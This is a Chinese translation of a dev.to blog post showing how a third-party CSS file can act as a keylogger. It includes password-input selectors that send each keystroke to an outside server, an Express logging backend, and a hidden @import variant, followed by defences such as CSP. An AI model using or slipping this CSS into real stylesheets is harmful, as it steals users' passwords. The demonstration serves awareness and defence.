错过的前端漏洞(1):CSS 并不像你想象的那么安全!

2025-05-28

错过的前端漏洞(1):CSS 并不像你想象的那么安全!

在本系列文章中,我想探讨一些我感兴趣的与安全相关的前端问题。我会尝试用代码来测试这些想法,并记录我的发现,至少供将来参考。

本系列的第一篇是关于 CSS 的,没错,就是那个天真可爱的 CSS。一段不安全的 CSS 代码(无论是第三方库还是用户生成的)都可能导致严重的安全隐患。

不久前,我看到一些推文说,第三方可以使用 CSS 为你的网站添加键盘记录器。GitHub 上也有一个 Chrome 扩展程序,提供了概念验证

其背后的想法非常简单:

  1. 你添加了一个 CSS 库(你自己认为那些知名的库太重了,然后你在 npm 上遇到了这个新奇的 CSS 库)
  2. 它们为您提供了一些有用的类,如 tailwind 或 bootstrap(为此,它们甚至不需要您将任何 Javascript 资产导入到您的项目中,CSS 就足够了)。
  3. 在其数千行代码中,存在一些可能窃取客户数据的错误逻辑。

但这怎么可能呢!

让我们想一想...黑客需要什么才能编写一个简单的键盘记录器?

  1. 跟踪一些用户输入(例如密码)
  2. 将其发送到他们的服务器
input[type="password"][value="a"] { background-image: url("https://hackerserver/add-key?val=a"); }
Enter fullscreen mode Exit fullscreen mode

通过这行简单的代码:

  1. 跟踪用户输入:只要输入字段的值是a,他们就知道。
  2. 将其发送到他们的服务器:通过添加背景图像input,他们基本上会触发GET对其服务器的调用并可以返回一个空像素,因此您甚至不会注意到它。

这仅适用于<input/>值为 的a,但很容易将 CSS 选择器从

input[type="password"][value="a"]

input[type="password"][value$="a"]

现在他们只寻找以结尾的密码输入a,现在您可以简单地对所有字符执行此操作,并且每次用户输入新值时,都会向他们的服务器发出新请求,瞧,它就起作用了……

让我们来实现它吧!

后端(github):

为此,我决定使用一个非常基础的 Express 服务器。在这个简短的代码片段中,express.static它负责提供第三方所需的 CSS 文件,并且还添加了两个主要端点。

const express = require("express");
var cors = require('cors')

const app = express();
app.use(cors())

app.use('/static', express.static('public'))
const port = process.env.PORT || 8080;

app.get("/css-keylogger/add-key", require('./routes/css-keylogger/addKey'));
app.get("/css-keylogger/keys", require('./routes/css-keylogger/getKeys'));


app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`);
});
Enter fullscreen mode Exit fullscreen mode

1. 提供前端第三方样式(github):

该文件应该提供受害者客户端所需的一些基本 CSS 功能,在这种情况下,我添加了一些我们稍后在前端需要的非常有用的样式。

但是,在文件末尾你会看到以下几行:

...
input[type="password"][value$="A"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=A"); }
input[type="password"][value$="B"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=B"); }
input[type="password"][value$="C"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=C"); }
input[type="password"][value$="D"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=D"); }
input[type="password"][value$="E"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=E"); }
input[type="password"][value$="F"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=F"); }
input[type="password"][value$="G"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=G"); }
input[type="password"][value$="H"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=H"); }
input[type="password"][value$="I"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=I"); }
input[type="password"][value$="J"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=J"); }
input[type="password"][value$="K"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=K"); }
input[type="password"][value$="L"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=L"); }
input[type="password"][value$="M"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=M"); }
...
Enter fullscreen mode Exit fullscreen mode

2. 添加新按键的端点(github):

现在,当用户使用此 CSS 文件时,每次在密码输入框中按键,服务器都会被调用一次GET。在这个端点中,我们保存了最近按键的结果,并可以返回一个空像素:

const cssKeyLoggerAddKeyHandler = async (req, res) => {
  // push the recent key stroke to logs
  const key = req.query.val;
  const time = new Date().getTime();
  loggedKeys.push({ time, key });

  // transparent 1x1 pixel
  const imgData =
 "data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==";
  const base64Data = imgData.replace(/^data:image\/gif;base64,/, "");
  const img = Buffer.from(base64Data, "base64");

  res.writeHead(200, {
    "Content-Type": "image/png",
    "Content-Length": img.length,
  });
  res.end(img);
};
Enter fullscreen mode Exit fullscreen mode

3. 获取端点列表的端点(github

为了简单起见,我们可以将记录的密钥存储在一个变量中,并为黑客创建一个小型仪表板,以获取最近记录的密钥列表:

const cssKeyLoggerGetKeysHandler = async (req, res) => {
  res.json(loggedKeys)
};
Enter fullscreen mode Exit fullscreen mode

前端:

对于前端,我们可以使用一个非常小的 create-react-app 项目,并添加一个登录表单,该表单将在提交时渲染欢迎组件。为了能够从黑客的角度查看结果,我添加了另一个选项卡,以便从黑客的角度获取和查看结果。
该表单使用第三方提供的 CSS 类名。您可以在黑客面板中查看结果。

为什么几乎不可能调试这个问题?

你可能会想,既然我已经意识到了这一点,每次更新后我都会升级第三方库,检查密码字段的网络选项卡,这样就没问题了。又或者,你可能会想,我已经在使用 snyk.io 或 GitLab 安全软件,一旦出现风险,他们就会通知我。很遗憾,并非如此!让我们设身处地地想想,一个聪明的黑客就知道了。他们知道你了解这一点,所以如果他们能以某种方式隐藏网络请求,他们就赢了。

有怪物叫@import

说实话,在开始做这件事之前,我甚至不知道 CSS 里可以引入 CSS,我以为@import只能用于字体。但后来我发现几乎所有浏览器都支持它(连 IE6 都支持,那就没什么好说的了……)
截图于 2020-10-22 04.39.43

因此,通过执行@import不安全的第三方代码可以添加动态导入。因此,让我们用 重写样式@import。为此,我们只需添加:

@import url("./keyloggerStyles.css");
Enter fullscreen mode Exit fullscreen mode

在第三方 CSS 文件之上,并创建一个keyloggerStyles.css包含所有错误逻辑的文件。

因此,黑客可以轻松地将恶意逻辑添加到他们自己服务器上的单独 CSS 文件中并引用它。当您最初测试第三方时,不会发生任何不良事件(键盘记录器文件为空)。他们甚至不需要您升级到损坏的版本。有一天,当您可能正在睡觉时,他们可以更改其服务器上损坏文件的内容,并窃取用户信息一段时间,然后他们可以再次删除该逻辑,而没有人会知道任何事情。

这个代码沙盒就是对同一功能的简单实现。黑客可以随意更改键盘记录器 CSS 文件的内容,然后打开它,只要用户重新加载页面并填写表单,键盘记录就会发生。

那么我们能做什么呢?

好吧,首先要说的是,我们需要谨慎。完全避免使用第三方资源是不可能的。但是,最好自行托管这些资源。对于这种特殊情况,确保没有你未允许的额外网络请求也非常重要。此外,打开第三方资源的 CSS 文件,确保它们没有在@import没有正当理由的情况下使用,或许是个好主意。

正如韦斯利在评论中所建议的,一个好的解决方案是这样的:

  1. 自托管所有资产(或者当然使用已知的 CDN)
  2. 确保@import分发中没有 CSS。
  3. 将内容安全策略 (CSP) 元标记添加到您的 HTML 文件。通过管理白名单服务器,您可以阻止任何发送到其他服务器的不必要的网络请求。一个简单的元标记如下所示:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
Enter fullscreen mode Exit fullscreen mode

default-src部分是加载 JavaScript、图片、CSS、字体、AJAX 请求等的默认策略,
self意味着只允许来自同一域名的请求。但是,请记住,如果有任何外部请求,则必须将其添加为允许的。

另一个需要注意的是,即使只有一个@import来自可疑服务器的实例(并且据称其中包含一些项目所需的重要 CSS 类),您也必须确保只允许该单个文件,而不允许来自该服务器的其他端点。否则,即使您将整个域名列入白名单,问题仍然会存在。

除了这些要点之外,还有一些漏洞数据库可以帮助我们应对那些广为人知的安全风险。诸如 snyk.io 或 GitLab 证券之类的服务集成可以帮助发现一些新的问题。

文章来源:https://dev.to/mizadmehr/missed-frontend-vulnerability-1-css-is-not-as-safe-as-you-think-3l64
PREV
前端 Web 开发并不像您想象的那样。
NEXT
学习软件架构和系统设计的好方法有哪些?